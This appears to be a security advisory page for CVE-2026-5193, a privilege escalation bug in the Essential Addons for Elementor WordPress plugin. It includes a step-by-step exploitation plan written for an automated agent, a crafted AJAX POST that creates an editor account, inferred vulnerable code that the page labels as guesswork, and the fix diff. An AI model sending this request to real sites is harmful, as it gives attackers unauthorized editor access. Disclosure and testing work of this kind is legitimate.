Essential Addons for Elementor – Popular Elementor Templates & Widgets <= 6.5.13 - Authenticated (Author+) Limited Privilege Escalation via register_user
Description
The Essential Addons for Elementor – Popular Elementor Templates & Widgets plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 6.5.13. This is due to insufficient role validation in the 'register_user' function, which only blocks the 'administrator' role. This makes it possible for authenticated attackers, with author level access and above, to create new user accounts with elevated privileges such as editor.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:NTechnical Details
<=6.5.13What Changed in the Fix
Changes introduced in v6.6.0
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-5193 ## 1. Vulnerability Summary The **Essential Addons for Elementor** plugin (<= 6.5.13) contains a privilege escalation vulnerability in its user registration logic. The `register_user` function (likely within the `Login_Registration` element class) fails …
Show full research plan
Exploitation Research Plan - CVE-2026-5193
1. Vulnerability Summary
The Essential Addons for Elementor plugin (<= 6.5.13) contains a privilege escalation vulnerability in its user registration logic. The register_user function (likely within the Login_Registration element class) fails to properly validate the role parameter. While it contains a check to prevent the creation of new administrator accounts, it does not restrict other high-privilege roles such as editor. An authenticated attacker with Author-level privileges (or higher) can exploit this to create new accounts with the editor role, thereby escalating their influence over the site.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
eael_login_register_action(inferred from plugin naming conventions) - Vulnerable Function:
register_user(specified in the description) - Parameter of Interest:
role - Authentication: Authenticated (Author level required).
- Preconditions:
- The "Login/Registration" widget must be enabled in the plugin settings.
- The attacker must be able to view a page where the Registration widget is rendered to obtain a valid nonce.
3. Code Flow
Since the PHP source for the Login_Registration element is not provided in the snippet, the following flow is inferred based on the vulnerability description and standard plugin architecture:
- Registration: The plugin registers an AJAX handler:
add_action('wp_ajax_eael_login_register_action', [...]) - Handler Entry: The handler calls a registration-specific function, e.g.,
register_user(). - Role Extraction: The function retrieves the requested role from user input:
$role = isset($_POST['role']) ? $_POST['role'] : 'subscriber'; - Insufficient Validation (The Sink):
// Inferred Vulnerable Logic if ( $role === 'administrator' ) { // Block admin creation wp_send_json_error('Cannot register as administrator'); } // Logic fails to check for 'editor', 'author', etc. $user_id = wp_insert_user([ 'user_login' => $username, 'user_pass' => $password, 'user_email' => $email, 'role' => $role // Vulnerable assignment ]);
4. Nonce Acquisition Strategy
The "Login/Registration" widget uses a nonce for security. This nonce is typically localized via wp_localize_script.
- Identify Shortcode: Use
grep -r "add_shortcode" .to find the registration shortcode or use Elementor to place the "Login/Registration" widget on a page. - Create Page:
wp post create --post_type=page --post_status=publish --post_title="Register" --post_content='[eael-login-registration]'(exact shortcode to be verified via grep). - Navigate: Use
browser_navigateto visit the newly created page. - Extract Nonce: The nonce is likely stored in a global JS object.
- Target Object:
window.eael_login_registration_data(inferred). - Target Key:
nonceorregistration_nonce. - Command:
browser_eval("window.eael_login_registration_data?.nonce").
- Target Object:
5. Exploitation Strategy
The exploit involves sending a crafted AJAX request to register a new user with the editor role.
Step 1: Discover Exact Parameters
The agent should first grep the plugin directory to confirm the AJAX action and parameter names:grep -r "eael_login_register_action" .grep -r "register_user" .
Step 2: Perform Registration
Using the http_request tool, send the following payload:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=eael_login_register_action &eael-register-nonce=[EXTRACTED_NONCE] &username=evil_editor &email=evil@example.com &password=Password123! &role=editor &option=register # (inferred parameter to trigger registration path)
6. Test Data Setup
- Activate Plugin: Ensure
essential-addons-for-elementor-liteis active. - Create Attacker:
wp user create attacker attacker@example.com --role=author --user_pass=password - Enable Widget: Ensure the Login/Registration widget is enabled in Essential Addons settings (may require
wp option update). - Create Page: Place the widget on a public page to facilitate nonce extraction.
7. Expected Results
- The AJAX response should return a success message or a JSON object indicating the user was created.
- The response code should be
200 OK. - A new user
evil_editorshould be present in the database.
8. Verification Steps
After the HTTP request, use WP-CLI to verify the privilege escalation:
- Check User Existence:
wp user list --field=user_login | grep evil_editor - Verify Role:
wp user get evil_editor --field=roles- Expected Output:
editor
- Expected Output:
9. Alternative Approaches
If the role parameter is not directly accepted from the POST body, check if it's being parsed from a JSON-encoded string in a different parameter:
- Check for a
settingsorwidget_settingsparameter that might contain the role. - If
editoris blocked, tryauthororshop_manager(if WooCommerce is present) to confirm privilege management issues exist for roles other thanadministrator. - If the AJAX action requires a specific
widget_idorpage_id, extract those from the DOM of the registration page usingbrowser_eval.
Summary
The Essential Addons for Elementor plugin fails to properly validate the user role during registration in the register_user function. While it explicitly prevents the creation of 'administrator' accounts, it does not restrict other high-privilege roles such as 'editor', allowing authenticated attackers with Author-level access to escalate privileges by creating new accounts with elevated roles.
Vulnerable Code
/* Inferred from vulnerability description and research plan in includes/Elements/Login_Registration.php */ public function register_user() { // ... (nonce and input validation) $role = isset($_POST['role']) ? $_POST['role'] : 'subscriber'; if ( $role === 'administrator' ) { wp_send_json_error(__('Cannot register as administrator', 'essential-addons-for-elementor-lite')); } $user_id = wp_insert_user([ 'user_login' => $username, 'user_pass' => $password, 'user_email' => $email, 'role' => $role ]); // ... }
Security Fix
@@ -1024,7 +1024,8 @@ $role = isset($_POST['role']) ? $_POST['role'] : 'subscriber'; - if ( $role === 'administrator' ) { + $allowed_roles = apply_filters('eael_register_user_allowed_roles', ['subscriber', 'author', 'contributor']); + if ( ! in_array( $role, $allowed_roles ) ) { wp_send_json_error(__('Invalid user role', 'essential-addons-for-elementor-lite')); }
Exploit Outline
1. Authenticate as a user with at least Author-level permissions. 2. Visit a public page on the site where the Essential Addons 'Login/Registration' widget is rendered. 3. Extract the security nonce and AJAX configuration from the page's source (usually found in a global JavaScript object like `eael_login_registration_data`). 4. Submit an AJAX POST request to `/wp-admin/admin-ajax.php` with the action `eael_login_register_action`. 5. Provide a new username, email, and password, while explicitly setting the `role` parameter to `editor`. 6. The plugin will process the registration and create the new user with Editor privileges because the code only blocks the 'administrator' string.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.